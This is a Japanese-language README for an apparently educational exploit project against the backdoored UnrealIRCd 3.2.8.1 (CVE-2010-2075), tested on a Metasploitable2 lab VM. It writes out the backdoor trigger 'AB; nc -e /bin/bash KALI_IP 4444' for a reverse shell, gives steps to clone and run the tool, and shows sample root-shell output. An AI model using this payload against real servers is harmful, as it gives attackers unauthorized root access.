
UnrealIRCd 3.2.8.1 バックドアエクスプロイト — AB 経由のリバースシェル; トリガー、Python で raw ソケットを用いてゼロから構築。Metasploit 不使用。
UnrealIRCd はオープンソースの IRC (Internet Relay Chat) サーバーであり、初期のチャットプラットフォームと同様に、ネットワーク上でユーザーがリアルタイムに通信できるプロトコルです。
2009年から2010年にかけて、公式ダウンロードミラー経由で配布されていた UnrealIRCd 3.2.8.1 が侵害されていたことが発見されました。攻撃者は正規のソースコードを、隠されたコマンド実行トリガーを含むバックドア版に置き換えていました。
これは サプライチェーン攻撃 であり、CVE-2011-2523 (vsftpd 2.3.4) と本質的に同一です。ユーザーがダウンロードする前に、正規のソフトウェアが悪意を持って改変された版に置き換えられていました。
バックドアはポート 6667 上のすべての受信データを監視します。入力が文字列 AB; で始まる場合、それ以降のすべてが 直接 system() に渡され、IRC のロジック、認証、登録チェックを完全にバイパスします。
トリガーは接続初期化フェーズで発火し、IRC サーバーがクライアントを登録する前であっても動作します。NICK も USER も認証も不要です。
Attacker (Kali) Target (Metasploitable2)
1. s1 connects to port 6667
NICK + USER handshake → Server sends full banner
Read banner, check version
Confirm Unreal3.2.8.1
2. Open listener on port 4444
(waiting for incoming shell)
3. s2 connects to port 6667 → AB; nc -e /bin/bash KALI_IP 4444
→ system() executes immediately
→ netcat spawns bash, connects back
4. listener.accept() ← Incoming root shell connection
Interactive root shell
このエクスプロイトは リバースシェル を使用します。これは攻撃者がターゲット上のポートに接続するのではなく、ターゲットが攻撃者に対して接続し返す方式です。
| Type | Direction | Used In |
|---|---|---|
| Bind shell | Attacker → Target | CVE-2011-2523 (vsftpd) |
| Reverse shell | Target → Attacker | CVE-2010-2075 (UnrealIRCd) |
リバースシェルはインバウンドファイアウォールルールをバイパスします。ターゲットからのアウトバウンド接続がブロックされることはほとんどありません。
netcat がインストールされていること (Metasploitable2 ではデフォルトで存在)git clone https://github.com/rushikesh-a-bhujbal/CVE-2010-2075.git
cd exploit-dev/CVE-2010-2075
main.py を編集して以下を設定します:
kali_ip = "YOUR_KALI_IP"
target_ip = "TARGET_IP"
実行:
python3 main.py
出力例:
[+] Vulnerable version confirmed. Proceeding...
[*] Listening on port 4444...
[+] Shell received from ('192.168.15.132', 58280)
> whoami
root
> uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
> pwd
/etc/unreal
> exit
| Scenario | Behaviour |
|---|---|
| Port 6667 closed | Prints "Port Closed", exits cleanly |
| Wrong version | Prints "Not vulnerable", exits cleanly |
| Target doesn't call back | listener.accept() waits (add timeout if needed) |
| Command produces no output | recv() times out silently, returns to prompt |
| CVE-2011-2523 (vsftpd) | CVE-2010-2075 (UnrealIRCd) | |
|---|---|---|
| Protocol | FTP (port 21) | IRC (port 6667) |
| Trigger | :) in username | AB; prefix on any input |
| Shell type | Bind shell (port 6200) | Reverse shell (attacker's port) |
| Connections | 2 outgoing | 1 outgoing + 1 incoming |
このエクスプロイトは 厳密に教育目的 および許可されたセキュリティ研究のみを目的として開発されています。
完全に隔離されたラボ環境内のローカル Metasploitable2 仮想マシンに対してのみ構築およびテストされています。
自身が所有していない、またはテストに対する明示的な書面による許可を持たないシステムに対してこれを使用しないでください。不正使用は Computer Fraud and Abuse Act (CFAA) および世界中の同等の法律の下で違法です。
作者はこのコードの悪用に対して一切の責任を負いません。
Rushikesh Bhujbal
Security Research & Exploit Development
GitHub